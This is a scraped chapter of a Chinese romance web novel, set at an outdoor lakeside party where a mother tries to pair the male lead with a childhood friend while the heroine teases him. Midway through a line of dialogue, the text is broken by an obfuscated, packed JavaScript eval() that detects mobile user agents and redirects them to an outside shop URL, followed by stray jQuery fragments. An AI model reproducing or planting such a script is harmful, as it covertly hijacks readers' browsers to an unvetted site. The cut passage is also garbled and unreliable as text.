文趣网 > 都市小说 > 初体验 > 15. 疏远
    宁城这边的圈子喜欢轮流组织聚会,肖静入乡随俗,趁着五一长假也打算举办一场户外活动。

    她应该是受了夏广美的启发,很有情调地要给每个拟邀人员寄去一封手写明信片,上面写明活动地点和时间,以及一些注意事项。

    栗嘉蓝小时候练过几年书法,一手簪花小楷写得相当雅致,只不过后来她放任自我独创“栗式狂草”,之前肖静每次检查她的作业都看得太阳穴狂跳。

    这回栗嘉蓝又被拉壮丁,肖静耳提面命要她好好写认真写,如果敢拿出狂草吓人,她就请栗嘉蓝吃“竹笋肉丝”。

    “我上小学时就不怕这招了。”

    肖静吓唬小孩用的招数在栗嘉蓝这儿完全不起作用,但她还是伏在餐桌边,一笔一划慢慢勾勒,权当是练字了。

    肖静在一边当监工,看见栗嘉蓝笔下那些赏心悦目的字迹,罕见地露出慈母笑容。

    “你啊,要是一直这么听话该多好。真不知道你这孩子怎么回事。”

    “仅仅因为小孩比大人晚出生几十年,就要求他们必须听话,也太倚老卖……”

    栗嘉蓝话未说完,肩膀就重重挨了一下,她没防备,导致笔尖杵在纸上晕出一个黑色墨点。

    “一对你态度好点就蹬鼻子上脸!”肖静也看到了,一边数落栗嘉蓝,一边伸手将她写废的这张卡纸抽出来放到旁边。

    她说:“有句话叫近朱者赤近墨者黑,连城那边就不说了,现在来了宁城,你倒是多和身边人学学啊。你看看禾珊,看看延允,你要是有他们一半优秀我也不至于操心成这样。”

    “我才不要像他们,”栗嘉蓝说,“像他们那么优秀,被盯上之后那还了得,一帮七大姑八大姨没事就喜欢拉郎配。”

    栗嘉蓝知道肖静突然发力要促成池延允和陈禾珊从青梅竹马变成男女关系,其实是夏广美的意思。

    陈禾珊是仁义礼智信的写照,人又长得那样端方温娴,完全符合夏广美筛选儿媳的标准。

    并且夏广美自信池延允和陈禾珊有这么多年的友谊作为基础,相知相熟,只是没人捅破横在中间的窗户纸,其实他们在心里都是属意彼此的。

    但因为她和池延允母子关系疏远,倘若由她出面说不定会引起池延允的逆反心理,所以才请肖静帮忙。

    栗嘉蓝猜想,肖静这次组织聚会说不定也是撮合池延允和陈禾珊的其中一个步骤。

    “你算了吧,就你这臭名远播的样子,以后就算我求人家,人家也不敢给你介绍相亲对象。”肖静一脸鄙夷。

    栗嘉蓝揉了揉肩膀,不屑道:“我还需要别人介绍?”

    肖静立即双目圆瞪,指着栗嘉蓝的鼻子说:“我告诉你啊,其他事我姑且可以睁一只眼闭一只眼,但是你要是敢背着我偷偷谈恋爱,栗嘉蓝你看我不把你腿掰折!”

    “知道了。你说得我耳朵都起茧子了。”

    肖静盯着栗嘉蓝看了几秒,确定她应该不是在阳奉阴违,这才放心地走去厨房拿东西。

    禁止子女在大学期间恋爱的规定,或许在当下倡导开放的社会风气中会显得过于死板。

    但肖静时不时在手机上刷到“某某女学生因提分手被男友殴打”之类的恶性新闻,简直看得心惊胆战。再加上栗嘉蓝的性格那样奔放刚烈,谈起恋爱来肯定也是说分手就分手,不被报复才怪。

    最重要的是,肖静认为校园恋爱冲动且不长久,根本就是浪费时间,她更希望栗嘉蓝毕业后回到连城找个安稳的工作,然后再在父母的建议下考虑人生大事。

    总之,肖静是出于保护栗嘉蓝,并对栗嘉蓝的人生进行长远规划,才会有此看似不近人情的规定。

    她相信等栗嘉蓝成熟之后一定会感谢她所做的一切。

    栗嘉蓝挖了挖耳朵,完全没有把刚才和肖静的对话放在心上。

    趁着肖静去厨房,她把刚才那张洇了墨的卡纸拿回面前,飞快在首行空出来的地方写上池延允的大名,然后三笔两画就把那团墨迹改成一个穿着白大褂的搞怪猫咪。

    “好好写,别我一不在,你就偷懒!”

    肖静的声音和流水声一起传来。

    栗嘉蓝咬住笔杆,含糊应道:“吾莫有。”

    一边快速将卡纸装进信封里,用不干胶封口,一边预想池延允拆开明信片发现被整蛊后会露出什么表情。

    邀请函用同城快递寄出去,受邀嘉宾们当天即可收到。

    栗嘉蓝原以为池延允会在微信上冒个泡,质问一句或者发个问号什么的,但直到晚上入睡前,他们的对话框还停留于那天她中暑后向他求救的那条。

    栗嘉蓝一整天被肖静箍在家里写邀请函,无聊透顶,好不容易找到点乐子,池延允竟然不接招。

    “这人是真没情调啊。”栗嘉蓝翻个身,在抱怨声中睡着。

    隔天上午,栗嘉蓝早早换上肖静为她准备的洋装,提前抵达聚会场地。

    肖静在石湖公园租了一块地方,围着临湖的大草坪搭上帐篷,栗嘉蓝被安排站在玫瑰拱门下当迎宾。

    池延允来得不早不晚,穿得很休闲,卡其圆领卫衣加深灰长裤。

    “池医生,你好呀。”栗嘉蓝像对待其他宾客一样对他礼貌微笑,并伸手找他讨要邀请函。

    池延允对上她狡黠的笑眼,淡声说:“没带。”

    栗嘉蓝正要继续昨天没完成的整蛊,陈禾珊也带着陈佳旸过来了。

    她以为明信片要回收,不然就不能进场,一时之间就有些懊恼,“我也没带,怎么办呢?”

    “别理她,小孩子玩心大起,故意刁难罢了。”池延允说。

    陈禾珊便笑了,“嘉蓝的性格的确非常纯真坦率,在学校里很受欢迎呢。”

    栗嘉蓝歪头打量池延允和陈禾珊的衣着,像是提前约好了似的,有点情侣装的意思。

    她弯了弯嘴角,目光不经意朝池延允瞥去。

    池延允知道她在想什么,左不过是在嘲笑他竟然接受长辈的安排。

    但是池延允没理会栗嘉蓝,径自朝等在一边的覃孟则走去。

    陈禾珊余光注意到池延允的动向,微微抿了下唇,犹豫几秒没跟过去,仍旧站在玫瑰拱门下同栗嘉蓝说话。

    陈佳旸立在陈禾珊身侧,目光带着敌意,时不时射向对面的栗嘉蓝。

    栗嘉蓝抱着双臂优哉游哉扫去一眼,看他就像看韩剧里那些满身名牌、自恃出身高贵的幼年体财阀。

    十七岁不到就被教育成这样,真让人倒胃口。

    “咦,陈太太怎么没来?”栗嘉蓝昨天就听肖静说朱嫣身体抱恙,要缺席这次活动。

    肖静私下还说也不知道真病假病,也许是嫌她办的聚会太寒碜也未可知。

    陈佳旸听到栗嘉蓝提起朱嫣,目光果然又变得冷傲几分。

    “舅妈不太舒服,所以没来。”陈禾珊察觉到两个少年之间的对垒,略显疑惑地带着陈佳旸先进去了。

    户外嘛,能吃的除了冷盘自助,就是烧烤了。

    栗嘉蓝接待完所有宾客之后,端着盘子和气泡饮料从这个帐篷绕到那个帐篷,相比于之前夏广美办的沙龙,今天来的宾客基本都拖家带口,小孩子很多,气氛也更松弛,栗嘉蓝玩得不亦乐乎。

    池延允和覃孟则坐在湖边钓鱼,欢笑声阵阵,其中总能听到栗嘉蓝的。

    “小表妹真有活力。”覃孟则不由得感叹。

    池延允的表情和垂在淡蓝色湖水里的鱼钩一样纹丝不动,他说:“看来你是还没被那帮投资人闹够。”

    两人合伙创业,池延允负责公司管理和产品研发,覃孟则则包揽公关和拉投资,都是各自擅长的领域。

    但酒局混多了也烦人,覃孟则仰靠在月亮椅上,恹恹道:“快别提那帮老帮菜了。一个二个一听说你要推迟上市,在酒桌上就开始急赤白脸,你是没看到昨晚上我被围攻得有多惨!”

    按照计划,Uncharted今年下半年就可以启动上市,邀请中介进场尽调。最短三年便可以在创业板挂牌,成为国内精耕攀岩赛道的户外第一股。

    但是池延允突然在这个月的股东大会上宣布推迟上市,同时下发收购代工厂的计划书。这就意味着短期内所有投资人不仅不能套现,还要大规模往里投钱。

    覃孟则作为联合创始人兼股东,向来支持池延允的任何决定,可是这次他嘴上不说,心里却颇有点微词。

    主要原因在于他最初入股Uncharted的钱是找家里拿的,虽然这几年随着公司盈利他早已还清这笔钱,但Uncharted越做越好,他就越急着上市变现,实现从富二代到创一代的华丽转变。

    覃孟则想了想,以商量的语气跟池延允说:“要不然你再考虑考虑,收购工厂就意味着从轻资产转变成重资产模式,一旦投入,资金链——”

    “小众赛道的存活逻辑从来不是快钱,而是壁垒。所有人都做贴牌,意味着所有人都没有核心掌控力,品控握在代工厂手里,价格卷到极致,随时可以被替代。”池延允不容商量地打断道,“短期看,重资产是拖累,长期看,重资产是唯一的护城河。”

    覃孟则“啧”一声,他知道池延允说的是对的,他也相信以池延允的眼光和运作能力,Uncharted是迟早的事。

    沉默一阵,他叹口气,“好吧好吧,这么多年不都是你说了算。”

    池延允笑了下,留出时间让覃孟则慢慢消化。

    “钓到了吗?今天能不能吃到烤鱼就看你们行不行了。”身后忽然传来栗嘉蓝的声音。

    她吃饱喝足人也倦了,带着一块野餐垫往池延允身侧的草地上一铺,白底米黄色玉兰图案的裙摆在身后呈扇形铺开,色泽鲜妍像是即将到达盛开期的花。

    “自己动手丰衣足食。”池延允示意旁边还有空余的渔具。

    栗嘉蓝托着腮,自我定位非常清晰,“还是坐享其成比较轻松。你加油。”

    覃孟则正愁找不到人压制池延允,他说:“有点意思啊,你们兄妹俩平时就是这么相处的?嘉蓝你看这样好不好,我开高薪请你来

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17889265|212693||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    我们公司给延允当秘书,别的都不干,每天完成怼十次上司的KPI就行。”

    “听你的意思,我哥哥在公司难道是中央集权的土皇帝?”

    “我哥哥”三个字从栗嘉蓝口中说出来格外自然。

    “可不是。”覃孟则说,“连投资人都管不了他,更别说我这个合伙人了,再不来个降得住他的人,Uncharted真要成池氏王朝了。”

    覃孟则话是这么说,实际上池延允做的决策虽然常常受到诟病,但无数次证明他是对的。

    栗嘉蓝两手撑在身后,和另一侧的覃孟则吐槽着,池延允作为被吐槽对象稳坐于两人中间,丝毫不受干扰。

    “你们在这里啊。”陈禾珊早早看见池延允和覃孟则在这边钓鱼,犹豫再三,像是避嫌似的,硬是等到栗嘉蓝也加入了,她才假装散步经过这里。

    栗嘉蓝转过头一边笑着跟陈禾珊打招呼,一边拍了拍身下的野餐垫,“陈老师,坐这里。”

    “噢。”陈禾珊应了声,她注意到栗嘉蓝朝另一边挪了挪,专门将靠近池延允的位置留给了她。

    她抬手理了下耳边的碎发,双颊忽然就有点发烫。

    又看了眼池延允,见他好像什么都没察觉到,然后才整理了一下裙摆,慢慢落座。

    池延允怎么可能没察觉,之前在玫瑰拱门下见到栗嘉蓝露出那样的笑意,他就知道她总是要找点事情做才肯罢休。

    余光里,自打陈禾珊落座之后,栗嘉蓝便低头在刷手机,紧接着,池延允便感觉到放在口袋里的手机振了几下。

    他泰然拿出来看了眼,屏幕上显示栗嘉蓝几秒前发来的消息:「因为接受长辈的安排,要有正式的女朋友了,所以你开始疏远我了吗?」

    池延允未及回应,栗嘉蓝第二条信息随即跟来,「可是哥哥有女朋友,为什么要疏远妹妹呢?妹妹又不会吃醋,好奇怪哦。」

    发完信息,栗嘉蓝将手机放到一边,仍旧是两手撑在身后的姿势,双腿平伸交叠,脚尖左晃一下右晃一下,好整以暇地等待着池延允的反应。

    池延允的反应是不予回应,栗嘉蓝的性格就是你越回应,她越来劲。

    但如果她一而再再而三地落空期待,自然也就因为感到无趣而消停了。

    果然,看到池延允淡然收回手机,栗嘉蓝脸上的笑一下就变得稀薄了。

    她无所事事,只好伸手去摸旁边的草茎玩儿。

    “以前,不知道你们还记不记得,学校好几次组织春游都是来石湖公园。”陈禾珊忽然微笑着提起一个话题。

    覃孟则初高中也和他们一个学校,立刻应道:“怎么不记得?那时多开心啊,野餐、钓鱼、露营……印象最深的是有次忽然下大雨,大家都淋成了落汤鸡,那叫一个惨,不过也挺有趣。”

    陈禾珊脸上也浮起追忆往昔美好时光的缅怀神情,她点点头,“是啊,那天老师说让校车把我们分批送回去,但是大家都说不,非得要等雨停,老师拿大家没办法,只好临时搭起帐篷。”

    她似乎又回到了多年前的那个午后,雨滴落在帐篷上,空气里水汽迷蒙,帐篷内和帐篷外仿佛是两个世界,卡斯炉上用不锈钢锅煮着红糖姜茶,气泡从锅底连绵到水面。

    “延允哥,你还记得吗?”陈禾珊鼓起勇气转过头,眼神带着一点模糊的期待。

    池延允想了下,说:“我不记得了。”

    覃孟则笑道:“你能记得什么啊?那时候学校组织活动你总是十次有八次缺席。也就是看在你是年级第一的份上,老师拿你没办法。”

    但是陈禾珊坚持道:“那次下雨你一定在,我记得很清楚。”

    池延允确实没有这部分记忆,他转过脸看向陈禾珊,不知道她为什么对久远的学生时代的集体活动记忆尤深。

    陈禾珊似乎不太适应和池延允近距离对视,她垂下眼笑着又重复了一句,“总之我记得很清楚。”

    栗嘉蓝听着他们共忆往昔,指尖忽然传来一道细微的刺痛,她不由得轻轻嘶了一声。

    “被扎到了吗?”陈禾珊第一时间抓过她的手,帮她拔掉扎进肉里的草梗,几滴鲜红的血珠立即从伤口中冒出来。

    “需要消毒吧?有没有感染破伤风的风险?”因为池延允从前是医生,也是陈禾珊最信任的人,她紧张地转头看向他。

    池延允扫了一眼,不在意地说:“小伤口,人体自愈能力很强,不用担心。”

    陈禾珊表情嗔怪,顺手就想拍他小臂一下,反应过来这个动作似有不妥,便烧红着脸转向栗嘉蓝,说:“我车里有小药箱。”

    栗嘉蓝其实也不是很在意这点小伤,但她站起来,笑着说:“不用这么麻烦,我妈妈也准备了一些简单的医药物品,我过去找她拿就好了。”

    “嗯。”陈禾珊对栗嘉蓝笑了笑,便坐在垫子上没动。

    栗嘉蓝走向不远处的自助台,心想,湖边风景独好,倘若把一边的覃孟则裁掉的话,就真的是一副良辰美景图了。

    不过,她没有回头印证。